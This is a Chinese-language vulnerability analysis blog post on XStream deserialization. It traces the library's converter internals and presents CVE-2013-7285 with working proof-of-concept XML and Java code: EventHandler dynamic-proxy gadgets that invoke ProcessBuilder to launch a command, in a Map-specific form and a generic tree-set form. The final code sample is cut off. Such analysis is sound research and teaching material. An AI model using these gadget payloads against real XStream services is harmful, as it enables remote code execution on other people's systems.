XStream反序列化漏洞合集

2024-11-09 9 0

XStream是一个能将Java对象和XML相互转换的Java库。(脑海浮现spring 加载xml

pom.xml:

<dependency>
    <groupId>com.thoughtworks.xstream</groupId>
    <artifactId>xstream</artifactId>
    <version>1.4.6</version>
</dependency>

toXML序列化

XStream在序列化对象时,对 没有实现Serializable的类 和 实现了Serializable的类并重写了readObject方法的类 的处理不同。通常我们都认为这个不同只会发生在反序列化过程中

假如有Person类:

public class Person {
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

测试类,使用xStream.toXML序列化对象为XML格式

import com.thoughtworks.xstream.XStream;

public class XstreamTest1 {
    public static void main(String[] args) {
        Person person = new Person("lucy", 22);
        XStream xStream = new XStream();
        String xml = xStream.toXML(person);
        System.out.print(xml);
    }
}

结果如下:

<yourpackage.Person>
  <name>lucy</name>
  <age>22</age>
</yourpackage.Person>

XStream反序列化漏洞合集插图

如果Person实现了Serializable接口并重写了readObject,那么相同的序列化处理结果如下:

<yourpackage.Person serialization="custom">
  <yourpackage.Person>
    <default>
      <name>lucy</name>
      <age>22</age>
    </default>
  </yourpackage.Person>
</yourpackage.Person>

XStream反序列化漏洞合集插图1

fromXML反序列化

反序列化就不用说了,会自动调用readObject

public class fromXML {
    public static void main(String[] args) throws Exception{
        String xml = "<org.exploit.othercase.XStream.Person serialization=\"custom\">\n" +
                "  <org.exploit.othercase.XStream.Person>\n" +
                "    <default>\n" +
                "      <age>22</age>\n" +
                "      <name>lucy</name>\n" +
                "    </default>\n" +
                "  </org.exploit.othercase.XStream.Person>\n" +
                "</org.exploit.othercase.XStream.Person>";
        XStream xStream = new XStream();
        Person person = (Person) xStream.fromXML(xml);
        System.out.println(person);
    }
}

XStream反序列化漏洞合集插图2

调试分析

在fromXML打上断点

fromXML调用了unmarshal

XStream反序列化漏洞合集插图3

unmarshal内部调用了ReferenceByXPathMarshallingStrategy.unmarshal

XStream反序列化漏洞合集插图4

ReferenceByXPathMarshallingStrategy内部并没有unmarshal方法,转而调用其抽象类的unmarshal

XStream反序列化漏洞合集插图5

AbstractTreeMarshallingStrategy.unmarshal调用了createUnmarshallingContext

XStream反序列化漏洞合集插图6

接着跟,调用了ReferenceByXPathUnmarshaller构造函数

XStream反序列化漏洞合集插图7

就是个套娃赋值了,跳过跳过

跟到AbstractTreeMarshallingStrategy.unmarshal内的context.start

XStream反序列化漏洞合集插图8

在start方法内,通过HierarchicalStream.readClassType读取节点类型,接着调用convertAnother进行转换

XStream反序列化漏洞合集插图9

HierarchicalStream.readClassType读取的结果:

XStream反序列化漏洞合集插图10

跟进到convertAnother,先是用DefualtConverterLookup.lookupConverterForType去根据类型查找converter,再调用这个converter的convert方法

XStream反序列化漏洞合集插图11

XStream反序列化漏洞合集插图12

发现这个DefaultConverterLookup里装配了一堆converter,在哪装进去的呢?

向上逆向,发现XStream的一个构造函数内new DefaultConverterLookup

XStream反序列化漏洞合集插图13

DefaultConverterLookup类给静态变量赋值为了PrioritizedList

XStream反序列化漏洞合集插图14

XStream调用到最后的构造函数,会调用setupConverters

XStream反序列化漏洞合集插图15

setupConverters方法就根据了不同的反序列化type选择了不同的Converter

继承了Serializable并重写了readObject调用到的converter是SerializableConverter

XStream反序列化漏洞合集插图16

XStream反序列化漏洞合集插图17

如果 不实现Serializable接口 或者 只实现Serializable不重写readObject,那么converter是ReflectionConverter

XStream反序列化漏洞合集插图18

XStream的漏洞官网:

https://x-stream.github.io/security.html

converter文件

我们随便打开一个converter文件,其中就三个主要的方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;

  • marshal方法:能够将对象转换为XML时候的具体操作;

  • unmarshal方法:能够将XML转换为对象时的具体操作;

CVE-2013-7285

XStream version <= 1.4.6 & XStream version = 1.4.10

漏洞点位于EventHandler.invokeInternal:

XStream反序列化漏洞合集插图19

MethodUtil.invoke实际上就是Method.invoke加了异常处理,可以达到执行任意方法

EventHandler.invoke调用了invokeInternal

XStream反序列化漏洞合集插图20

EventHandler又实现了InvocationHandler接口,属于动态代理类

XStream反序列化漏洞合集插图21

接下来看看invoke三个参数怎么来的

XStream反序列化漏洞合集插图22

先看下EventHandler的构造函数,共设置了target、action、eventPropertyName、listenerMethodName

invokeInternal的主要代码如下:

int lastDot = action.lastIndexOf('.');
if (lastDot != -1) {
    target = applyGetters(target, action.substring(0, lastDot));
    action = action.substring(lastDot + 1);
}
Method targetMethod = Statement.getMethod(target.getClass(),action, argTypes);
return MethodUtil.invoke(targetMethod, target, newArgs);

假设action字符串为 "user.address.city", target 是一个包含 user 属性的对象

那么经过if代码块后,target 现在是 Address 对象,action 现在是 "city"

那么经过Statement.getMethod后,获取了Address对象的city方法

简单说来就是最后一个.前面的是类,后面是方法

但是我们完全可以将action只传一个方法名,不含.,所以此处可省略,看不懂也没关系,接着往下看就知道了

现在再来看XStream提供的动态代理标签

DynamicProxyConverter

XStream给出了各个converter对应的xml格式

https://x-stream.github.io/converters.html

其中DynamicProxyConverter适用于动态代理:

XStream反序列化漏洞合集插图24

code:

<dynamic-proxy>
  <interface>com.foo.Blah</interface>
  <interface>com.foo.Woo</interface>
  <handler class="com.foo.MyHandler">
    <something>blah</something>
  </handler>
</dynamic-proxy>

对照Proxy.newProxyInstance的参数来看

XStream反序列化漏洞合集插图25

interface标签代表了代理的接口,handler标签代表InvocationHandler实例,something标签是传递给handler的额外配置信息

POC XML:

<dynamic-proxy>
	<interface>java.util.Map</interface>
	<handler class="java.beans.EventHandler">
		<target class="java.lang.ProcessBuilder">
            <command>
                <string>calc</string>
            </command>
    	</target>
		<action>start</action>
	</handler>
</dynamic-proxy>

POC:

public class EventHandler {
    public static void main(String[] args) throws Exception{
        String payload = "<dynamic-proxy>\n" +
                "    <interface>java.util.Map</interface>\n" +
                "    <handler class=\"java.beans.EventHandler\">\n" +
                "        <target class=\"java.lang.ProcessBuilder\">\n" +
                "            <command>\n" +
                "        \t\t\t\t<string>calc</string>\n" +
                "            </command>\n" +
                "        </target>\n" +
                "        <action>start</action>\n" +
                "    </handler>\n" +
                "</dynamic-proxy>";
        XStream xStream = new XStream();
        Map map = (Map) xStream.fromXML(payload);
        map.size();
    }
}

代理一下Map接口做测试,利用了ProcesserBuilder.start

实际利用的时候需要改下代理接口为代码后续调用到的接口

那有没有办法搞个更通用的呢?

通用POC

  • 别忘了dynamic-proxy标签外还可以嵌套标签,等于嵌套了一个converter

这里找到了TreeSetConverter:

调用了TreeMapConverter.populateTreeMap

XStream反序列化漏洞合集插图26

populateTreeMap内部,如果该标签已经在第一个元素内(没有子节点),则调用putCurrentEntryIntoMap,否则调用populateMap

XStream反序列化漏洞合集插图27

populateMap循环判断有无子节点,然后调用putCurrentEntryIntoMap

XStream反序列化漏洞合集插图28

也就是从内到外解析标签,调用putCurrentEntryIntoMap

putCurrentEntryIntoMap分别对key和value调用了readItem,这是因为Set可以存放Entry

Map 用于存储键值对,键必须唯一,值可以重复。
Set 用于存储唯一的键值对,不允许重复

XStream反序列化漏洞合集插图29

readItem内部又嵌套的根据Type查找converter并处理

XStream反序列化漏洞合集插图30

你一看官方给的xml示例,肯定就理解了上面的内容:

  • tree-map:

<tree-map>
  <comparator  />
  <entry>
    <string>apple</string>
    <float>123.553</float>
  </entry>
  <entry>
    <string>orange</string>
    <float>55.4</float>
  </entry>
</tree-map>
  • tree-set:Entry可以先只放key

<tree-set>
  <comparator  />
  <string>apple</string>
  <string>banana</string>
  <string>cabbage</string>
</tree-set>

关键在于,populateMap解析完整个tree-map内的键值对后,调用了result.putAll

XStream反序列化漏洞合集插图31

Tree.putAll的参数map是Proxy,肯定不会是SortedMap子类,进不去if,看到super.putAll

XStream反序列化漏洞合集插图32

接着调用put,这里调用的应该是TreeMap重写的put

XStream反序列化漏洞合集插图33

put内调用了compare

XStream反序列化漏洞合集插图34

用了Comparable接口的compareTo

XStream反序列化漏洞合集插图35

这里k1如果是EventHandler,那EventHandler代理Comparable接口,不就能顺利触发到invoke了嘛

POC XML:

<tree-set>
	<dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</tree-set>

POC:

public class EventHandler {
    public static void main(String[] args) throws Exception{
        String payload = "<tree-set>\n" +
                "\t<dynamic-proxy>\n" +
                "        <interface>java.lang.Comparable</interface>\n" +
                "        <handler class=\"java.beans.EventHandler\">\n" +
                "            <target class=\"java.lang.ProcessBuilder\">\n" +
                "                <command>\n" +
                "                    <string>calc</string>\n" +
                "                </command>\n" +
                "            </target>\n" +
                "   

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用Slhasher批量执行VirusTotal哈希数据检索
Behinder 冰蝎源码阅读与去特征浅析
CloudShovel:一款针对AMI的敏感信息泄露检测与保护工具
如何使用Slack Watchman防止Slack泄露敏感数据
Java 代码审计工具—铲子 SAST 的使用案例
SCAred:一款高级侧信道安全分析框架

发布评论